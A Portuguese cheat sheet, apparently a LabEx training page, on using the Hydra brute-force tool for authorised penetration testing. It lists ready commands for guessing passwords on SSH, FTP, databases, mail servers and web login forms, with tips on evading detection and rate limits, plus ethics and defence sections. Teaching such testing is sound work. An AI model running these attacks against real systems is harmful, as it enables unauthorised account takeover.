Folha de Dicas Hydra
Aprenda Hydra com Laboratórios Práticos
Aprenda cracking de senhas com Hydra e testes de penetração através de laboratórios práticos e cenários do mundo real. O LabEx oferece cursos abrangentes sobre Hydra cobrindo ataques a protocolos, exploração de formulários web, otimização de desempenho e uso ético. Domine técnicas de força bruta para testes de segurança autorizados e avaliações de vulnerabilidade.
Sintaxe Básica e Instalação
Instalação: sudo apt install hydra
O Hydra geralmente vem pré-instalado no Kali Linux, mas pode ser instalado em outras distribuições.
# Instalar em sistemas Debian/Ubuntu
sudo apt install hydra
# Instalar em outros sistemas
sudo apt-get install hydra
# Verificar instalação
hydra -h
# Verificar protocolos suportados
hydra
Sintaxe Básica: hydra [opções] alvo serviço
Sintaxe básica: hydra -l <nome_de_usuário> -P <arquivo_de_senhas> <protocolo_alvo>://<endereço_alvo>
# Nome de usuário único, lista de senhas
hydra -l username -P passwords.txt target.com ssh
# Lista de nomes de usuário, lista de senhas
hydra -L users.txt -P passwords.txt target.com ssh
# Nome de usuário único, senha única
hydra -l admin -p password123 192.168.1.100 ftp
Faça login para responder este quiz e acompanhar seu progresso de aprendizagem
-l e -L no Hydra?-l é para senhas, -L é para nomes de usuário-l especifica um nome de usuário único, -L especifica um arquivo de lista de nomes de usuário-l é minúsculo, -L é maiúsculoOpções Principais: -l, -L, -p, -P
Especifique nomes de usuário e senhas para ataques de força bruta.
# Opções de nome de usuário
-l username # Nome de usuário único
-L userlist.txt # Arquivo de lista de nomes de usuário
# Opções de senha
-p password # Senha única
-P passwordlist.txt # Arquivo de lista de senhas
# Localização comum de wordlists
/usr/share/wordlists/rockyou.txt
/usr/share/wordlists/metasploit/unix_passwords.txt
Opções de Saída: -o, -b
Salve os resultados em um arquivo para análise posterior.
# Salvar resultados no arquivo
hydra -l admin -P passwords.txt target.com ssh -o results.txt
# Formato de saída JSON
hydra -l admin -P passwords.txt target.com ssh -b json
# Saída detalhada (verbose)
hydra -l admin -P passwords.txt target.com ssh -V
Faça login para responder este quiz e acompanhar seu progresso de aprendizagem
hydra -V faz?Ataques Específicos de Protocolo
SSH: hydra alvo ssh
Atacar serviços SSH com combinações de nome de usuário e senha.
# Ataque SSH básico
hydra -l root -P /usr/share/wordlists/rockyou.txt 192.168.1.100 ssh
# Múltiplos nomes de usuário
hydra -L users.txt -P passwords.txt ssh://192.168.1.100
# Porta SSH personalizada
hydra -l admin -P passwords.txt 192.168.1.100 -s 2222 ssh
# Com threading
hydra -l root -P passwords.txt -t 6 ssh://192.168.1.100
Faça login para responder este quiz e acompanhar seu progresso de aprendizagem
-s faz no Hydra?FTP: hydra alvo ftp
Força bruta de credenciais de login FTP.
# Ataque FTP básico
hydra -l admin -P passwords.txt ftp://192.168.1.100
# Verificação de FTP anônimo
hydra -l anonymous -p "" ftp://192.168.1.100
# Porta FTP personalizada
hydra -l user -P passwords.txt -s 2121 192.168.1.100 ftp
Ataques a Banco de Dados: mysql, postgres, mssql
Atacar serviços de banco de dados com força bruta de credenciais.
# Ataque MySQL
hydra -l root -P passwords.txt 192.168.1.100 mysql
# Ataque PostgreSQL
hydra -l postgres -P passwords.txt 192.168.1.100 postgres
# Ataque MSSQL
hydra -l sa -P passwords.txt 192.168.1.100 mssql
# Ataque MongoDB
hydra -l admin -P passwords.txt 192.168.1.100 mongodb
SMTP/Email: hydra alvo smtp
Atacar a autenticação do servidor de e-mail.
# Força bruta SMTP
hydra -l admin -P passwords.txt smtp://mail.target.com
# Com senhas nulas/vazias
hydra -P passwords.txt -e ns -V -s 25 smtp.target.com smtp
# Ataque IMAP
hydra -l user -P passwords.txt imap://mail.target.com
Ataques a Aplicações Web
Formulários POST HTTP: http-post-form
Atacar formulários de login web usando o método HTTP POST com placeholders ^USER^ e ^PASS^.
# Ataque de formulário POST básico
hydra -l admin -P passwords.txt 192.168.1.100 http-post-form "/login.php:username=^USER^&password=^PASS^:F=incorrect"
# Com mensagem de erro personalizada
hydra -l admin -P passwords.txt 192.168.1.100 http-post-form "/login:user=^USER^&pass=^PASS^:Invalid password"
# Com condição de sucesso
hydra -l admin -P passwords.txt 192.168.1.100 http-post-form "/admin:username=^USER^&password=^PASS^:S=Dashboard"
Formulários GET HTTP: http-get-form
Semelhante aos formulários POST, mas visa requisições GET.
# Ataque de formulário GET
hydra -l admin -P passwords.txt 192.168.1.100 http-get-form "/login:username=^USER^&password=^PASS^:F=Invalid"
# Com cabeçalhos personalizados
hydra -l admin -P passwords.txt 192.168.1.100 http-get-form "/auth:user=^USER^&pass=^PASS^:F=Error:H=Cookie: session=abc123"
Autenticação Básica HTTP: http-get/http-post
Atacar servidores web usando autenticação básica HTTP.
# Autenticação Básica HTTP
hydra -l admin -P passwords.txt http-get://192.168.1.100
# Autenticação Básica HTTPS
hydra -l admin -P passwords.txt https-get://secure.target.com
# Com caminho personalizado
hydra -l admin -P passwords.txt http-get://192.168.1.100/admin
Ataques Web Avançados
Lidar com aplicações web complexas com tokens CSRF e cookies.
# Com tratamento de token CSRF
hydra -l admin -P passwords.txt 192.168.1.100 http-post-form "/login:username=^USER^&password=^PASS^&csrf=^CSRF^:F=Error:H=Cookie: csrf=^CSRF^"
# Com cookies de sessão
hydra -l admin -P passwords.txt 192.168.1.100 http-post-form "/login:username=^USER^&password=^PASS^:F=Invalid:H=Cookie: PHPSESSID=abc123"
Opções de Desempenho e Threading
Threading: -t (Tarefas)
Controlar o número de conexões de ataque simultâneas durante o ataque.
# Threading padrão (16 tarefas)
hydra -l admin -P passwords.txt target.com ssh
# Contagem de threads personalizada
hydra -l admin -P passwords.txt -t 4 target.com ssh
# Ataque de alto desempenho (use com cautela)
hydra -l admin -P passwords.txt -t 64 target.com ssh
# Threading conservador (evitar detecção)
hydra -l admin -P passwords.txt -t 1 target.com ssh
Tempo de Espera: -w (Atraso)
Adicionar atrasos entre as tentativas para evitar limitação de taxa e detecção.
# Espera de 30 segundos entre as tentativas
hydra -l admin -P passwords.txt -w 30 target.com ssh
# Combinado com threading
hydra -l admin -P passwords.txt -t 2 -w 10 target.com ssh
# Atraso aleatório (1-5 segundos)
hydra -l admin -P passwords.txt -W 5 target.com ssh
Múltiplos Alvos: -M (Arquivo de Alvos)
Atacar múltiplos hosts especificando-os em um arquivo.
# Criar arquivo de alvos
echo "192.168.1.100" > targets.txt
echo "192.168.1.101" >> targets.txt
echo "192.168.1.102" >> targets.txt
# Atacar múltiplos alvos
hydra -L users.txt -P passwords.txt -M targets.txt ssh
# Com threading personalizado por alvo
hydra -L users.txt -P passwords.txt -M targets.txt -t 2 ssh
Opções de Retomada e Parada
Retomar ataques interrompidos e controlar o comportamento de parada.
# Parar após o primeiro sucesso
hydra -l admin -P passwords.txt -f target.com ssh
# Retomar ataque anterior
hydra -R
# Criar arquivo de restauração
hydra -l admin -P passwords.txt -I restore.txt target.com ssh
Recursos Avançados e Opções
Geração de Senhas: -e (Testes Adicionais)
Testar variações de senha adicionais automaticamente.
# Testar senhas nulas
hydra -l admin -e n target.com ssh
# Testar nome de usuário como senha
hydra -l admin -e s target.com ssh
# Testar nome de usuário reverso
hydra -l admin -e r target.com ssh
# Combinar todas as opções
hydra -l admin -e nsr -P passwords.txt target.com ssh
Formato Separado por Dois Pontos: -C
Usar combinações de nome de usuário:senha para reduzir o tempo de ataque.
# Criar arquivo de credenciais
echo "admin:admin" > creds.txt
echo "root:password" >> creds.txt
echo "user:123456" >> creds.txt
# Usar formato de dois pontos
hydra -C creds.txt target.com ssh
# Mais rápido do que testar todas as combinações
Suporte a Proxy: HYDRA_PROXY
Usar servidores proxy para ataques com variáveis de ambiente.
# Proxy HTTP
export HYDRA_PROXY=connect://proxy.example.com:8080
hydra -l admin -P passwords.txt target.com ssh
# Proxy SOCKS4 com autenticação
export HYDRA_PROXY=socks4://user:pass@127.0.0.1:1080
# Proxy SOCKS5
export HYDRA_PROXY=socks5://proxy.example.com:1080
Otimização da Lista de Senhas: pw-inspector
Usar pw-inspector para filtrar listas de senhas com base em políticas.
# Filtrar senhas (mínimo 6 caracteres, 2 classes de caracteres)
cat passwords.txt | pw-inspector -m 6 -c 2 -n > filtered.txt
# Usar lista filtrada com Hydra
hydra -l admin -P filtered.txt target.com ssh
# Remover duplicatas primeiro
cat passwords.txt | sort | uniq > unique_passwords.txt
Uso Ético e Melhores Práticas
Diretrizes Legais e Éticas
É possível usar o Hydra tanto de forma legal quanto ilegal. Obtenha permissão e aprovação apropriadas antes de realizar ataques de força bruta.
Realize ataques apenas em sistemas onde permissão explícita foi obtida
Sempre garanta que você tem permissão explícita do proprietário ou administrador do sistema
Documente todas as atividades de teste para conformidade
Use apenas durante testes de penetração autorizados
Nunca use para tentativas de acesso não autorizadas
Medidas Defensivas
Defenda-se contra ataques de força bruta com senhas fortes e políticas.
Implemente políticas de bloqueio de conta para bloquear temporariamente contas após tentativas falhas
Use autenticação multifator (MFA)
Implemente sistemas CAPTCHA para prevenir ferramentas de automação
Monitore e registre tentativas de autenticação
Implemente limitação de taxa e bloqueio de IP
Melhores Práticas de Teste
Comece com configurações conservadoras e documente todas as atividades para transparência.
Comece com contagens baixas de threads para evitar interrupção do serviço
Use wordlists apropriadas para o ambiente alvo
Teste durante janelas de manutenção aprovadas, quando possível
Monitore o desempenho do sistema alvo durante o teste
Tenha procedimentos de resposta a incidentes prontos
Casos de Uso Comuns
Equipes vermelhas e azuis se beneficiam de auditorias de senhas, avaliações de segurança e testes de penetração.
Cracking de senhas para identificar senhas fracas e avaliar a força da senha
Auditorias de segurança de serviços de rede
Testes de penetração e avaliações de vulnerabilidade
Testes de conformidade para políticas de senha
Demonstrações de treinamento e educacionais
Alternativa de GUI e Ferramentas Adicionais
XHydra: Interface Gráfica
O XHydra é uma GUI para o Hydra que permite selecionar a configuração a partir de controles via GUI em vez de switches de linha de comando.
# Iniciar GUI do XHydra
xhydra
# Instalar se não estiver disponível
sudo apt install hydra-gtk
# Funcionalidades:
# - Interface ponto-e-clique
# - Modelos de ataque pré-configurados
# - Monitoramento visual de progresso
# - Seleção fácil de alvo e wordlist
Hydra Wizard: Configuração Interativa
Assistente interativo que guia os usuários pela configuração do hydra com perguntas simples.
# Iniciar assistente interativo
hydra-wizard
# O assistente pergunta sobre:
# 1. Serviço a ser atacado
# 2. Alvo a ser atacado
# 3. Nome de usuário ou arquivo de nome de usuário
# 4. Senha ou arquivo de senha
# 5. Testes de senha adicionais
# 6. Número da porta
# 7. Confirmação final
Listas de Senhas Padrão: dpl4hydra
Gera listas de senhas padrão para marcas e sistemas específicos.
# Atualizar banco de dados de senhas padrão
dpl4hydra refresh
# Gerar lista para marca específica
dpl4hydra cisco
dpl4hydra netgear
dpl4hydra linksys
# Usar listas geradas
hydra -C dpl4hydra_cisco.lst 192.168.1.1 ssh
# Todas as marcas
dpl4hydra all
Integração com Outras Ferramentas
Combine o Hydra com ferramentas de reconhecimento e enumeração.
# Combinar com descoberta de serviço Nmap
nmap -sV 192.168.1.0/24 | grep -E "(ssh|ftp|http)"
# Usar com resultados de enumeração de nomes de usuário
enum4linux 192.168.1.100 | grep "user:" > users.txt
# Integrar com wordlists do Metasploit
ls /usr/share/wordlists/metasploit/
Solução de Problemas e Desempenho
Problemas Comuns e Soluções
Resolva problemas típicos encontrados durante o uso do Hydra.
# Erros de tempo limite de conexão
hydra -l admin -P passwords.txt -t 1 -w 30 target.com ssh
# Erro de muitas conexões
hydra -l admin -P passwords.txt -t 2 target.com ssh
# Otimização do uso de memória
hydra -l admin -P small_list.txt target.com ssh
# Verificar protocolos suportados
hydra
# Procurar protocolo na lista de serviços suportados
Otimização de Desempenho
Otimize listas de senhas e ordene por probabilidade para resultados mais rápidos.
# Ordenar senhas por probabilidade
hydra -l admin -P passwords.txt -u target.com ssh
# Remover duplicatas
sort passwords.txt | uniq > clean_passwords.txt
# Otimizar threading com base no alvo
# Rede local: -t 16
# Alvo de Internet: -t 4
# Serviço lento: -t 1
Formatos de Saída e Análise
Diferentes formatos de saída para análise de resultados e relatórios.
# Saída de texto padrão
hydra -l admin -P passwords.txt target.com ssh -o results.txt
# Formato JSON para análise
hydra -l admin -P passwords.txt target.com ssh -b json -o results.json
# Saída detalhada para depuração
hydra -l admin -P passwords.txt target.com ssh -V
# Saída apenas de sucesso
hydra -l admin -P passwords.txt target.com ssh | grep "password:"
Monitoramento de Recursos
Monitore os recursos do sistema e da rede durante os ataques.
# Monitorar uso da CPU
top -p $(pidof hydra)
# Monitorar conexões de rede
netstat -an | grep :22
# Monitorar uso de memória
ps aux | grep hydra
# Limitar impacto no sistema
nice -n 19 hydra -l admin -P passwords.txt target.com ssh